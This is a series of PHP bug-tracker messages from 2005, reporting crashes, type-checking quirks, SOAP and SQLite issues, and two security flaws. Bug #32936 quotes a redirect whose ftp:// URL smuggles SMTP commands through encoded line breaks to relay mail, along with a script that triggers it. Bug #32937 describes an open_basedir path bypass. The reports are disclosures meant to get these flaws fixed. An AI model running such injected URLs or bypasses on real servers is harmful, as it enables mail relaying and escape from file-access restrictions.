#32943 [NEW]: is_numerical validates 3e0

2005-05-04 Thread pmorgan at ukds dot net
From: pmorgan at ukds dot net
Operating system: Linux
PHP version:  4.3.10
PHP Bug Type: Scripting Engine problem
Bug description:  is_numerical validates 3e0

Description:

With some server side validation I inadvertenly entered 3e0 into the
textbox, it validated to my suprise. Would have expected this to throw a
false

Reproduce code:
---
echo is_numeric('3e00')? 'true': 'false';

Expected result:

false;
In fact anything without 0-9 and a . I would expect a false !


-- 
Edit bug report at http://bugs.php.net/?id=32943edit=1
-- 
Try a CVS snapshot (php4):   http://bugs.php.net/fix.php?id=32943r=trysnapshot4
Try a CVS snapshot (php5.0): 
http://bugs.php.net/fix.php?id=32943r=trysnapshot50
Try a CVS snapshot (php5.1): 
http://bugs.php.net/fix.php?id=32943r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=32943r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=32943r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=32943r=needtrace
Need Reproduce Script:   http://bugs.php.net/fix.php?id=32943r=needscript
Try newer version:   http://bugs.php.net/fix.php?id=32943r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=32943r=support
Expected behavior:   http://bugs.php.net/fix.php?id=32943r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=32943r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=32943r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=32943r=globals
PHP 3 support discontinued:  http://bugs.php.net/fix.php?id=32943r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=32943r=dst
IIS Stability:   http://bugs.php.net/fix.php?id=32943r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=32943r=gnused
Floating point limitations:  http://bugs.php.net/fix.php?id=32943r=float
No Zend Extensions:  http://bugs.php.net/fix.php?id=32943r=nozend
MySQL Configuration Error:   http://bugs.php.net/fix.php?id=32943r=mysqlcfg


#30707 [Asn-Csd]: Segmentation fault

2005-05-04 Thread dmitry
 ID:   30707
 Updated by:   [EMAIL PROTECTED]
 Reported By:  guth at fiifo dot u-psud dot fr
-Status:   Assigned
+Status:   Closed
 Bug Type: Zend Engine 2 problem
 Operating System: *
 PHP Version:  5CVS-2005-04-29
 Assigned To:  andi
 New Comment:

Fixed in CVS HEAD and PHP_5_0


Previous Comments:


[2005-04-29 10:23:15] [EMAIL PROTECTED]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1208719680 (LWP 31723)]
0x0812c49f in zend_do_fcall_common_helper_SPEC
(execute_data=0xbff2c160) at zend_vm_execute.h:120
120 if (EX(function_state).function-common.fn_flags 
ZEND_ACC_ABSTRACT) {
(gdb) bt
#0  0x0812c49f in zend_do_fcall_common_helper_SPEC
(execute_data=0xbff2c160) at zend_vm_execute.h:120
#1  0x0812c3c9 in execute (op_array=0x8bdd8e4) at zend_vm_execute.h:78
#2  0x0810ea63 in zend_execute_scripts (type=8, retval=0x0,
file_count=3) at /usr/src/php/php5/Zend/zend.c:1059
#3  0x080dcd78 in php_execute_script (primary_file=0xbff2e600) at
/usr/src/php/php5/main/main.c:1653
#4  0x08186a5f in main (argc=2, argv=0xbff2e6c4) at
/usr/src/php/php5/sapi/cli/php_cli.c:954




[2004-12-18 10:38:33] guth at fiifo dot u-psud dot fr

Same bug, different code.
two hours lost :(

The constructor contains a return statement, but it is only 

?php

class UserModuleTest  {

public function __construct($obj) {

try {
new UserModuleTest($this-query());
} catch(Exception $e) {
}

}

public function query() {
throw new Exception;
}



}

$test = new UserModuleTest(new UserModuleTest());

?



[2004-11-10 19:02:50] [EMAIL PROTECTED]

This code is much simplier IMO and demonstrates the same behaviour
(both with 5.0.x  5.1.x):
?
class C {

public function __construct() {
$this-byePHP($this-plip());
}

public function byePHP($plop) {
echo www.haricow.org;
}

public function plip() {
try {
$this-plap($this-plop());
}
catch(Exception $e) {
}
}

public function plap($a) {

}

public function plop() {
throw new Exception;
}

}

new C;
?



[2004-11-07 00:08:56] guth at fiifo dot u-psud dot fr

Description:

I get another segmentation fault... 
You can look at the reproduce code. 

Reproduce code:
---
?php

class B {

public function plip() {

try {
$this-plap($this-plop());
}
catch(Exception $e) {
}

}

public function plap($a) {
}

public function plop() {
throw new Exception;
}

}

class C {

public function __construct() {

$b = new B;
$this-byePHP($b-plip());

}

public function byePHP($plop) {
echo www.haricow.org;
}

}

new C;
?

Expected result:

www.haricow.org 

Actual result:
--
Program received signal SIGSEGV, Segmentation fault. 
[Switching to Thread 1075737248 (LWP 3881)] 
0x403d2373 in zend_do_fcall_common_helper 
(execute_data=0xbfffccd0, opline=0x8170c64, 
op_array=0x816f784) 
at /usr/src/php5/Zend/zend_execute.c:2656 
2656if 
(EX(function_state).function-common.fn_flags  
ZEND_ACC_ABSTRACT) { 
(gdb) bt 
#0  0x403d2373 in zend_do_fcall_common_helper 
(execute_data=0xbfffccd0, opline=0x8170c64, 
op_array=0x816f784) 
at /usr/src/php5/Zend/zend_execute.c:2656 
#1  0x403d2c63 in zend_do_fcall_by_name_handler 
(execute_data=0xbfffccd0, opline=0x8170c64, 
op_array=0x816f784) 
at /usr/src/php5/Zend/zend_execute.c:2825 
#2  0x403cebee in execute (op_array=0x816f784) at 
/usr/src/php5/Zend/zend_execute.c:1400 
#3  0x403d2791 in zend_do_fcall_common_helper 
(execute_data=0xbfffce20, opline=0x816b694, 
op_array=0x816706c) 
at /usr/src/php5/Zend/zend_execute.c:2740 
#4  0x403d2c63 in zend_do_fcall_by_name_handler 
(execute_data=0xbfffce20, opline=0x816b694, 
op_array=0x816706c) 
at /usr/src/php5/Zend/zend_execute.c:2825 
#5  0x403cebee in execute (op_array=0x816706c) at 
/usr/src/php5/Zend/zend_execute.c:1400 
#6  0x403a9f5d in zend_execute_scripts (type=8, 
retval=0x0, file_count=3) 
at /usr/src/php5/Zend/zend.c:1060 
#7  0x40362a94 in php_execute_script 
(primary_file=0xb190) at 
/usr/src/php5/main/main.c:1628 
#8  0x403dab14 in apache_php_module_main 

#32943 [Opn]: is_numeric validates 3e0

2005-05-04 Thread pmorgan at ukds dot net
 ID:   32943
 User updated by:  pmorgan at ukds dot net
-Summary:  is_numerical validates 3e0
 Reported By:  pmorgan at ukds dot net
 Status:   Open
 Bug Type: Scripting Engine problem
 Operating System: Linux
 PHP Version:  4.3.10
 New Comment:

typo


Previous Comments:


[2005-05-04 12:28:04] pmorgan at ukds dot net

Description:

With some server side validation I inadvertenly entered 3e0 into the
textbox, it validated to my suprise. Would have expected this to throw
a false

Reproduce code:
---
echo is_numeric('3e00')? 'true': 'false';

Expected result:

false;
In fact anything without 0-9 and a . I would expect a false !






-- 
Edit this bug report at http://bugs.php.net/?id=32943edit=1


#30162 [Asn-Csd]: Problem with var_dump()

2005-05-04 Thread dmitry
 ID:   30162
 Updated by:   [EMAIL PROTECTED]
 Reported By:  guth at fiifo dot u-psud dot fr
-Status:   Assigned
+Status:   Closed
 Bug Type: Zend Engine 2 problem
 Operating System: *
 PHP Version:  5CVS-2005-03-07
 Assigned To:  andi
 New Comment:

Fixed in CVS HEAD and PHP_5_0.


Previous Comments:


[2005-03-09 11:33:28] [EMAIL PROTECTED]

Nope, this has problably to do with exceptions - not my thing.



[2005-03-07 23:52:41] [EMAIL PROTECTED]

THink that I broke this...



[2004-09-20 09:34:53] guth at fiifo dot u-psud dot fr

Description:

This bug is linked to bug #30161.

var_dump() should produce an object.

Reproduce code:
---
?php
class FIIFO {

public function __construct() {
throw new Exception;
}

}

class hariCow extends FIIFO {

public function __construct() {
try {
parent::__construct();
} catch(Exception $e) {
}
}

public function __toString() {
return Rusticus in asino sedet.;
}

}


$db = new hariCow;

var_dump($db);
?

Expected result:

Something like 'Object ...'

Actual result:
--
UNKNOWN:0





-- 
Edit this bug report at http://bugs.php.net/?id=30162edit=1


#32929 [Opn-Csd]: php crashing on array element assignment

2005-05-04 Thread majoros at inma dot ucl dot ac dot be
 ID:   32929
 User updated by:  majoros at inma dot ucl dot ac dot be
 Reported By:  majoros at inma dot ucl dot ac dot be
-Status:   Open
+Status:   Closed
 Bug Type: Reproducible crash
 Operating System: fc3
 PHP Version:  4.3.11
 New Comment:

closing...


Previous Comments:


[2005-05-04 09:55:31] majoros at inma dot ucl dot ac dot be

Ok, it seems that the bug was somewhere else, in the portal I use
(tikiwiki).

 It's true that it didn't crash if I put a return just before the
assignment, and that it did otherwise, but the crash was really
somewhere else, due to infinite recursion (limited to 64 by php). I
corrected the bug in tikiwiki.

 Thanks to all people who checked this, and sorry for the
inconvenience.

 Regards,

 Yannick Majoros



[2005-05-04 00:28:27] majoros at inma dot ucl dot ac dot be

You can even forget about the foreach loop, and thus var: same problem
if I remove them...



[2005-05-04 00:11:00] majoros at inma dot ucl dot ac dot be

$val is some value extracted from a database. The foreach loop goes
through every column of the data extracted from the current row ($res).


Here are the values contained in $res when the crash occurs (on 5th
iteration in 'while'):
mvanhXXX,Marie-Anne Van HXXX,1,1,1,1,0 

I had to replace some name with XXX for privacy, but it doesn't contain
any special character. BTW, the same happens if i just leave the iconv.
If I replace the bad line with this:

$wikireq[$id][]=''; 

The crash doesn't occur (but I don't get my data).



[2005-05-03 22:50:17] [EMAIL PROTECTED]

What is the value of $val variable.



[2005-05-03 19:51:37] majoros at inma dot ucl dot ac dot be

Description:

PHP is crashing on some page (segfault), at least on two servers. It
crashes when I try to create a new array element (see code), not
always, but always in the same conditions.

Same with 4.3.10, 4.3.11 and latest cvs. 

configure:

'./configure' '--with-apxs2' '--with-iconv' 

Reproduce code:
---
 while ($res=$result-fetchRow(DB_FETCHMODE_ASSOC))
 {
  // TODO: make iconv optional
  foreach ($res as $key=$val)
   $res[$key]=iconv(ISO-8859-1,UTF-8,$val);
// CRASHING ON FOLLOWING LINE AFTER 5 ITERATIONS (DATA DEPENDANT)
  $wikireq[$id][]=$res;
 }

Expected result:

should not crash!

Actual result:
--
crash boom, this line in apache error.log:

[Tue May 03 19:33:21 2005] [notice] child pid 10313 exit signal
Segmentation fault (11)





-- 
Edit this bug report at http://bugs.php.net/?id=32929edit=1


#32928 [Opn-Asn]: php dies trying to -bind_result(...)

2005-05-04 Thread georg
 ID:   32928
 Updated by:   [EMAIL PROTECTED]
 Reported By:  dan at yes dot lt
-Status:   Open
+Status:   Assigned
 Bug Type: MySQLi related
 Operating System: winxp
 PHP Version:  5.0.4
-Assigned To:  
+Assigned To:  georg
 New Comment:

Looks like repreparing a statement without closing it 
makes some problems - assigned (tested against 
5.0.5-beta) 
 
The script itself works as expected - fetching a row 
without executing statement before returns an error. 


Previous Comments:


[2005-05-03 16:19:30] dan at yes dot lt

Description:

php dies trying to mysqli_stmt-bind_result(...) with listed queries:

SELECT 1.23 AS test

SELECT NULL AS test

php version 5.0.4, mysql version 5.0.4 beta

Reproduce code:
---
$st = $db-prepare(SELECT 1 AS test);
$st-bind_result($x);
$st-fetch();
var_dump($x);

$st = $db-prepare(SELECT 1.23 AS test);
$st-bind_result($x);
$st-fetch();
var_dump($x);

$st = $db-prepare(SELECT NULL AS test);
$st-bind_result($x);
$st-fetch();
echo $st;
var_dump($x);


Expected result:

int(1)
float(1.23)
NULL


Actual result:
--
int(1)
...FATAL ERROR WITH NO OUTPUT...
...FATAL ERROR WITH NO OUTPUT...





-- 
Edit this bug report at http://bugs.php.net/?id=32928edit=1


#32929 [Opn]: php crashing on array element assignment

2005-05-04 Thread majoros at inma dot ucl dot ac dot be
 ID:   32929
 User updated by:  majoros at inma dot ucl dot ac dot be
 Reported By:  majoros at inma dot ucl dot ac dot be
 Status:   Open
 Bug Type: Reproducible crash
 Operating System: fc3
 PHP Version:  4.3.11
 New Comment:

Ok, it seems that the bug was somewhere else, in the portal I use
(tikiwiki).

 It's true that it didn't crash if I put a return just before the
assignment, and that it did otherwise, but the crash was really
somewhere else, due to infinite recursion (limited to 64 by php). I
corrected the bug in tikiwiki.

 Thanks to all people who checked this, and sorry for the
inconvenience.

 Regards,

 Yannick Majoros


Previous Comments:


[2005-05-04 00:28:27] majoros at inma dot ucl dot ac dot be

You can even forget about the foreach loop, and thus var: same problem
if I remove them...



[2005-05-04 00:11:00] majoros at inma dot ucl dot ac dot be

$val is some value extracted from a database. The foreach loop goes
through every column of the data extracted from the current row ($res).


Here are the values contained in $res when the crash occurs (on 5th
iteration in 'while'):
mvanhXXX,Marie-Anne Van HXXX,1,1,1,1,0 

I had to replace some name with XXX for privacy, but it doesn't contain
any special character. BTW, the same happens if i just leave the iconv.
If I replace the bad line with this:

$wikireq[$id][]=''; 

The crash doesn't occur (but I don't get my data).



[2005-05-03 22:50:17] [EMAIL PROTECTED]

What is the value of $val variable.



[2005-05-03 19:51:37] majoros at inma dot ucl dot ac dot be

Description:

PHP is crashing on some page (segfault), at least on two servers. It
crashes when I try to create a new array element (see code), not
always, but always in the same conditions.

Same with 4.3.10, 4.3.11 and latest cvs. 

configure:

'./configure' '--with-apxs2' '--with-iconv' 

Reproduce code:
---
 while ($res=$result-fetchRow(DB_FETCHMODE_ASSOC))
 {
  // TODO: make iconv optional
  foreach ($res as $key=$val)
   $res[$key]=iconv(ISO-8859-1,UTF-8,$val);
// CRASHING ON FOLLOWING LINE AFTER 5 ITERATIONS (DATA DEPENDANT)
  $wikireq[$id][]=$res;
 }

Expected result:

should not crash!

Actual result:
--
crash boom, this line in apache error.log:

[Tue May 03 19:33:21 2005] [notice] child pid 10313 exit signal
Segmentation fault (11)





-- 
Edit this bug report at http://bugs.php.net/?id=32929edit=1


#32941 [NEW]: Sending structured exception kills a php

2005-05-04 Thread steckovic at aarongroup dot cz
From: steckovic at aarongroup dot cz
Operating system: FEDORA
PHP version:  5.0.4
PHP Bug Type: SOAP related
Bug description:  Sending structured exception kills a php

Description:

Hello,

I have problem with returing structured exception.
I wrote simple echoString service in Java (Axis) with following
functionality:
   if argument is not equal to string exception same value
   is returned. If argument is equal to exception exception is thrown.
Exception has two data fields integer and string.

If client is java program everything is working. If client is PHP
code and argument is exception, php (last snapshot) goes down 
by signal segv, for other arguments it is working.

See following files:
 service/* - service implementation in Java
 client.php - client implementation in PHP
 request.xml - soap request 
 response.xml - response which sends PHP down by sig segv  


If it is user error, I apologize to you.

Thank you
  Petr Steckovic



 

?php
define('WSDL_LOCATION',
'http://212.24.157.117:8080/axis/services/echo?wsdl');
if(!extension_loaded('soap')) dl('soap.so');
$client = new SoapClient(WSDL_LOCATION, array(trace = 1, 'exceptions'
= 0));
$ahoj  = $client-echoString('exception');
echo Echo.$ahoj.\n;
var_dump($ahoj);
?
 

Reproduce code:
---
SOAP-ENV:Envelope
xmlns:SOAP-ENV=http://schemas.xmlsoap.org/soap/envelope/;
xmlns:SOAP-ENC=http://schemas.xmlsoap.org/soap/encoding/;
xmlns:xsi=http://www.w3.org/2001/XMLSchema-instance;
xmlns:xsd=http://www.w3.org/2001/XMLSchema;
SOAP-ENV:Body
m:echoString xmlns:m=urn:service.EchoService
SOAP-ENV:encodingStyle=http://schemas.xmlsoap.org/soap/encoding/;
e xsi:type=xsd:stringexception/e
/m:echoString
/SOAP-ENV:Body
/SOAP-ENV:Envelope

 Response 

?xml version=1.0 encoding=UTF-8?
soapenv:Envelope
xmlns:soapenv=http://schemas.xmlsoap.org/soap/envelope/;
xmlns:xsd=http://www.w3.org/2001/XMLSchema;
xmlns:xsi=http://www.w3.org/2001/XMLSchema-instance;
soapenv:Body
soapenv:Fault
faultcodesoapenv:Server.userException/faultcode
faultstringservice.EchoServiceException/faultstring
detail
service.EchoServiceException 
xsi:type=ns1:EchoServiceException
xmlns:ns1=urn:service.EchoService
intParameter 
xsi:type=xsd:int105/intParameter
parameter xsi:type=soapenc:string
xmlns:soapenc=http://schemas.xmlsoap.org/soap/encoding/;string
param/parameter
/service.EchoServiceException
ns2:hostname
xmlns:ns2=http://xml.apache.org/axis/;steckovic/ns2:hostname
/detail
/soapenv:Fault
/soapenv:Body
/soapenv:Envelope



Expected result:

Correctly working with response. No SIGSEGV.


-- 
Edit bug report at http://bugs.php.net/?id=32941edit=1
-- 
Try a CVS snapshot (php4):   http://bugs.php.net/fix.php?id=32941r=trysnapshot4
Try a CVS snapshot (php5.0): 
http://bugs.php.net/fix.php?id=32941r=trysnapshot50
Try a CVS snapshot (php5.1): 
http://bugs.php.net/fix.php?id=32941r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=32941r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=32941r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=32941r=needtrace
Need Reproduce Script:   http://bugs.php.net/fix.php?id=32941r=needscript
Try newer version:   http://bugs.php.net/fix.php?id=32941r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=32941r=support
Expected behavior:   http://bugs.php.net/fix.php?id=32941r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=32941r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=32941r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=32941r=globals
PHP 3 support discontinued:  http://bugs.php.net/fix.php?id=32941r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=32941r=dst
IIS Stability:   http://bugs.php.net/fix.php?id=32941r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=32941r=gnused
Floating point limitations:  http://bugs.php.net/fix.php?id=32941r=float
No Zend Extensions:  http://bugs.php.net/fix.php?id=32941r=nozend
MySQL Configuration Error:   http://bugs.php.net/fix.php?id=32941r=mysqlcfg


#32942 [NEW]: CLI a rencontré un problème et doit fermer. Nous vous prions...

2005-05-04 Thread yelva03 at yahoo dot fr
From: yelva03 at yahoo dot fr
Operating system: Windows XP Professionnal
PHP version:  5.0.4
PHP Bug Type: Unknown/Other Function
Bug description:  CLI a rencontré un problème et doit fermer. Nous vous 
prions...

Description:

Ce message de Windows XP apparaît à l'exécution de go_pear.bat, pear.bat
et php_win.exe : CLI a rencontré un problème et doit fermer. Nous vous
prions de nous excuser pour le désagrément encouru.
Ceci pendant la configuration de PHP manuellement comme module de Apache2.


-- 
Edit bug report at http://bugs.php.net/?id=32942edit=1
-- 
Try a CVS snapshot (php4):   http://bugs.php.net/fix.php?id=32942r=trysnapshot4
Try a CVS snapshot (php5.0): 
http://bugs.php.net/fix.php?id=32942r=trysnapshot50
Try a CVS snapshot (php5.1): 
http://bugs.php.net/fix.php?id=32942r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=32942r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=32942r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=32942r=needtrace
Need Reproduce Script:   http://bugs.php.net/fix.php?id=32942r=needscript
Try newer version:   http://bugs.php.net/fix.php?id=32942r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=32942r=support
Expected behavior:   http://bugs.php.net/fix.php?id=32942r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=32942r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=32942r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=32942r=globals
PHP 3 support discontinued:  http://bugs.php.net/fix.php?id=32942r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=32942r=dst
IIS Stability:   http://bugs.php.net/fix.php?id=32942r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=32942r=gnused
Floating point limitations:  http://bugs.php.net/fix.php?id=32942r=float
No Zend Extensions:  http://bugs.php.net/fix.php?id=32942r=nozend
MySQL Configuration Error:   http://bugs.php.net/fix.php?id=32942r=mysqlcfg


#32936 [NEW]: FTP URL relaying vulnerability

2005-05-04 Thread herbert dot groot dot jebbink at gmail dot com
From: herbert dot groot dot jebbink at gmail dot com
Operating system: Linux 
PHP version:  5.0.4
PHP Bug Type: FTP related
Bug description:  FTP URL relaying vulnerability

Description:

See http://dsbl.org/relay-methods#FTPURL for more details.

A exploit can be found at http://dividedsky.net/gfx/badges

This URL gives the next result.

HTTP/1.x 302 Found
Date: Tue, 03 May 2005 21:43:41 GMT
Server: Apache/2.0.53 (Debian GNU/Linux) PHP/4.3.10-10
Content-Location: badges.php
Vary: negotiate
TCN: choice
X-Powered-By: PHP/4.3.10-10
Location:
ftp://foo%0D%0AMAIL%20FROM%3Alt;gt;%0D%0ARCPT%20TO%3Alt;listme%40listme.dsbl.orggt;%0D%0ADATA%0D%0ASubject%3A%20DSBL%20Submission%0D%0ATo%3A%20listme%40listme.dsbl.org%0D%0A%0D%0ADSBL%20LISTME%3A%20ftp-url%20%5B82.197.205.88%5D%3A80%0D%0AVv%2FcqZoUAlAyMb9O2R+Xu0YSwQNRN5DL%0D%0Adividedsky.net%20website%20hit%0D%0ADSBL%20END%0D%0A.%0D%0A:[EMAIL
 PROTECTED]:25/
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=ISO-8859-1


Reproduce code:
---
?php

  // DO NOT RUN THIS CODE

  // YOUR SERVER WILL BE LISTED ON DSBL.ORG

  // RESULTING IN POSSIBLE REJECTS OF YOUR EMAILS

  $check = getimagesize('http://dividedsky.net/gfx/badges') ;

?



-- 
Edit bug report at http://bugs.php.net/?id=32936edit=1
-- 
Try a CVS snapshot (php4):   http://bugs.php.net/fix.php?id=32936r=trysnapshot4
Try a CVS snapshot (php5.0): 
http://bugs.php.net/fix.php?id=32936r=trysnapshot50
Try a CVS snapshot (php5.1): 
http://bugs.php.net/fix.php?id=32936r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=32936r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=32936r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=32936r=needtrace
Need Reproduce Script:   http://bugs.php.net/fix.php?id=32936r=needscript
Try newer version:   http://bugs.php.net/fix.php?id=32936r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=32936r=support
Expected behavior:   http://bugs.php.net/fix.php?id=32936r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=32936r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=32936r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=32936r=globals
PHP 3 support discontinued:  http://bugs.php.net/fix.php?id=32936r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=32936r=dst
IIS Stability:   http://bugs.php.net/fix.php?id=32936r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=32936r=gnused
Floating point limitations:  http://bugs.php.net/fix.php?id=32936r=float
No Zend Extensions:  http://bugs.php.net/fix.php?id=32936r=nozend
MySQL Configuration Error:   http://bugs.php.net/fix.php?id=32936r=mysqlcfg


#32929 [Opn]: php crashing on array element assignment

2005-05-04 Thread majoros at inma dot ucl dot ac dot be
 ID:   32929
 User updated by:  majoros at inma dot ucl dot ac dot be
 Reported By:  majoros at inma dot ucl dot ac dot be
 Status:   Open
 Bug Type: Reproducible crash
 Operating System: fc3
 PHP Version:  4.3.11
 New Comment:

You can even forget about the foreach loop, and thus var: same problem
if I remove them...


Previous Comments:


[2005-05-04 00:11:00] majoros at inma dot ucl dot ac dot be

$val is some value extracted from a database. The foreach loop goes
through every column of the data extracted from the current row ($res).


Here are the values contained in $res when the crash occurs (on 5th
iteration in 'while'):
mvanhXXX,Marie-Anne Van HXXX,1,1,1,1,0 

I had to replace some name with XXX for privacy, but it doesn't contain
any special character. BTW, the same happens if i just leave the iconv.
If I replace the bad line with this:

$wikireq[$id][]=''; 

The crash doesn't occur (but I don't get my data).



[2005-05-03 22:50:17] [EMAIL PROTECTED]

What is the value of $val variable.



[2005-05-03 19:51:37] majoros at inma dot ucl dot ac dot be

Description:

PHP is crashing on some page (segfault), at least on two servers. It
crashes when I try to create a new array element (see code), not
always, but always in the same conditions.

Same with 4.3.10, 4.3.11 and latest cvs. 

configure:

'./configure' '--with-apxs2' '--with-iconv' 

Reproduce code:
---
 while ($res=$result-fetchRow(DB_FETCHMODE_ASSOC))
 {
  // TODO: make iconv optional
  foreach ($res as $key=$val)
   $res[$key]=iconv(ISO-8859-1,UTF-8,$val);
// CRASHING ON FOLLOWING LINE AFTER 5 ITERATIONS (DATA DEPENDANT)
  $wikireq[$id][]=$res;
 }

Expected result:

should not crash!

Actual result:
--
crash boom, this line in apache error.log:

[Tue May 03 19:33:21 2005] [notice] child pid 10313 exit signal
Segmentation fault (11)





-- 
Edit this bug report at http://bugs.php.net/?id=32929edit=1


#32940 [NEW]: PHP 5.0.4

2005-05-04 Thread thebomani at homail dot com
From: thebomani at homail dot com
Operating system: RedHAt Fedora 3
PHP version:  5.0.4
PHP Bug Type: *General Issues
Bug description:  PHP 5.0.4

Description:

I have had more problems with PHP 5.0.4 that I can list. These problems
include php not passing varialbles to php files when the url has a ? mark
after the .php file. Please put version 5.0.3 back in the download list.


-- 
Edit bug report at http://bugs.php.net/?id=32940edit=1
-- 
Try a CVS snapshot (php4):   http://bugs.php.net/fix.php?id=32940r=trysnapshot4
Try a CVS snapshot (php5.0): 
http://bugs.php.net/fix.php?id=32940r=trysnapshot50
Try a CVS snapshot (php5.1): 
http://bugs.php.net/fix.php?id=32940r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=32940r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=32940r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=32940r=needtrace
Need Reproduce Script:   http://bugs.php.net/fix.php?id=32940r=needscript
Try newer version:   http://bugs.php.net/fix.php?id=32940r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=32940r=support
Expected behavior:   http://bugs.php.net/fix.php?id=32940r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=32940r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=32940r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=32940r=globals
PHP 3 support discontinued:  http://bugs.php.net/fix.php?id=32940r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=32940r=dst
IIS Stability:   http://bugs.php.net/fix.php?id=32940r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=32940r=gnused
Floating point limitations:  http://bugs.php.net/fix.php?id=32940r=float
No Zend Extensions:  http://bugs.php.net/fix.php?id=32940r=nozend
MySQL Configuration Error:   http://bugs.php.net/fix.php?id=32940r=mysqlcfg


#32938 [NEW]: SQLITE extension vs built in for version 3.x

2005-05-04 Thread randy at rcs-comp dot com
From: randy at rcs-comp dot com
Operating system: Windows
PHP version:  5CVS-2005-05-04 (dev)
PHP Bug Type: Feature/Change Request
Bug description:  SQLITE extension vs built in for version 3.x

Description:

I have read most of the bugs on Sqlite 3.x for PHP.  The concencous from
the PHP developers appears to be that Sqlite 3.x is not necessary since it
will be included in PDO.  In addition, 3.x support can be enabled on Linux
by recompiling.

Unfortunately, I am using Windows.  I am sure it is possible to recompile
PHP on windows, but it sure doesn't sound like fun.  I would like to
propose moving SQLite support into an extension for PHP on Windows and
compiling a 2.x and 3.x extension.  That would allow windows users to use
the new libraries without compromising backwards compatability.

As for the PDO argument, I think it is important to recognize that a lot
of us are using PEAR:DB, ADODB, Creole, etc and that PDO support in these
DB abstraction layers may be a while in coming.  It would be nice to user
their native support for SQLite and get the benefits of 3.x as well.

I realize that this is probably beating a dead horse, but I felt my
perspective was a little different.  Thanks.



-- 
Edit bug report at http://bugs.php.net/?id=32938edit=1
-- 
Try a CVS snapshot (php4):   http://bugs.php.net/fix.php?id=32938r=trysnapshot4
Try a CVS snapshot (php5.0): 
http://bugs.php.net/fix.php?id=32938r=trysnapshot50
Try a CVS snapshot (php5.1): 
http://bugs.php.net/fix.php?id=32938r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=32938r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=32938r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=32938r=needtrace
Need Reproduce Script:   http://bugs.php.net/fix.php?id=32938r=needscript
Try newer version:   http://bugs.php.net/fix.php?id=32938r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=32938r=support
Expected behavior:   http://bugs.php.net/fix.php?id=32938r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=32938r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=32938r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=32938r=globals
PHP 3 support discontinued:  http://bugs.php.net/fix.php?id=32938r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=32938r=dst
IIS Stability:   http://bugs.php.net/fix.php?id=32938r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=32938r=gnused
Floating point limitations:  http://bugs.php.net/fix.php?id=32938r=float
No Zend Extensions:  http://bugs.php.net/fix.php?id=32938r=nozend
MySQL Configuration Error:   http://bugs.php.net/fix.php?id=32938r=mysqlcfg


#32937 [NEW]: PHP don't respect trailing slashes in open_basedir

2005-05-04 Thread o dot schad at web dot de
From: o dot schad at web dot de
Operating system: Linux
PHP version:  5.0.3
PHP Bug Type: Safe Mode/open_basedir
Bug description:  PHP don't respect trailing slashes in open_basedir

Description:

If I specify a path for open_basedir in php.ini like 
open_basedir=/t/ 
then I can still open files in /tmp but this shouldn't 
work. 
 
And why the fuck I have to add a trailing slash? This is a 
trap for everyone who don't reads the source code. 
 
I've fixed both issues, if someone is interested in a 
patch contact me, please. 


-- 
Edit bug report at http://bugs.php.net/?id=32937edit=1
-- 
Try a CVS snapshot (php4):   http://bugs.php.net/fix.php?id=32937r=trysnapshot4
Try a CVS snapshot (php5.0): 
http://bugs.php.net/fix.php?id=32937r=trysnapshot50
Try a CVS snapshot (php5.1): 
http://bugs.php.net/fix.php?id=32937r=trysnapshot51
